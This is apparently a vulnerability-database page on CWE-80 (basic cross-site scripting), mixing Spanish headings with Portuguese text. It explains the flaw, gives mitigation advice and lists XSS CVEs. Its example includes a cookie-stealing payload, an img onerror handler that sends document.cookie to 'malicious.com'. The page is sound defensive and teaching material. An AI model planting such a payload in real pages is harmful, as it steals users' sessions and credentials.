Fallos del tipo CWE-80

646 resultados

Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).

CVE-2023-41048LOWplone.namedfile vulnerable to Stored Cross Site Scripting with SVG imagesEPSS 0.6%CVE-2023-5582LOWZZZCMS Personal Profile Page cross site scriptingEPSS 0.6%CVE-2022-25756—A vulnerability has been identified in SCALANCE X302-7 EEC (230V), SCALANCE X302-7 EEC (230V, coated), SCALANCE X302-7 EEC (24V), SCALANCE XEPSS 0.6%CVE-2024-32472MEDIUMexcalidraw vulnerable to a Stored XSS in excalidraw's web embed componentEPSS 0.6%CVE-2026-48910MEDIUMApache JSPWiki: Markdown parser allows XSS injection in Markdown error processingEPSS 0.6%CVE-2024-33423HIGHCross-Site Scripting (XSS) vulnerability in the Settings menu of CMSimple v5.15 allows attackers to execute arbitrary web scripts or HTML viEPSS 0.6%CVE-2024-23817HIGHDolibarr Application Home Page HTML injection vulnerabilityEPSS 0.6%CVE-2022-39301HIGHsra-admin is vulnerable to storage cross-site scripting (XSS) via unrestricted file uploadEPSS 0.6%CVE-2026-24128MEDIUMXWiki Affected by Reflected Cross-Site Scripting (XSS) in Error MessagesEPSS 0.6%CVE-2024-0183LOWRRJ Nueva Ecija Engineer Online Portal NIA Office students.php cross site scriptingEPSS 0.5%CVE-2024-34699MEDIUMGZ::CTF allows unprivileged user can perform XSS attacks by constructing malicious team names.EPSS 0.5%CVE-2026-40105MEDIUMXWiki has Reflected Cross-Site Scripting (XSS) in its page history compare functionalityEPSS 0.5%CVE-2023-3017LOWSourceCodester Lost and Found Information System Manage User Page cross site scriptingEPSS 0.5%CVE-2022-39371HIGHStored Cross-Site Scripting (XSS) through asset inventory in GLPIEPSS 0.5%CVE-2018-25039LOWThomson TCW710 RgUrlBlock.asp Persistent cross site scritingEPSS 0.5%CVE-2025-23919MEDIUMWordPress Slides & Presentations Plugin <= 0.0.39 - Content Injection vulnerabilityEPSS 0.5%CVE-2024-28108MEDIUMphpMyFAQ Stored HTML Injection at contentLinkEPSS 0.5%CVE-2026-52741HIGHGoCD has stored XSS possible via tracking tool link highlighting on Compare Pipeline pagesEPSS 0.5%CVE-2024-32875MEDIUMHugo doesn't escape markdown title in internal render hooksEPSS 0.5%CVE-2023-26046MEDIUMteler-waf subject to bypass of common web attack threat rule with HTML entities payloadEPSS 0.5%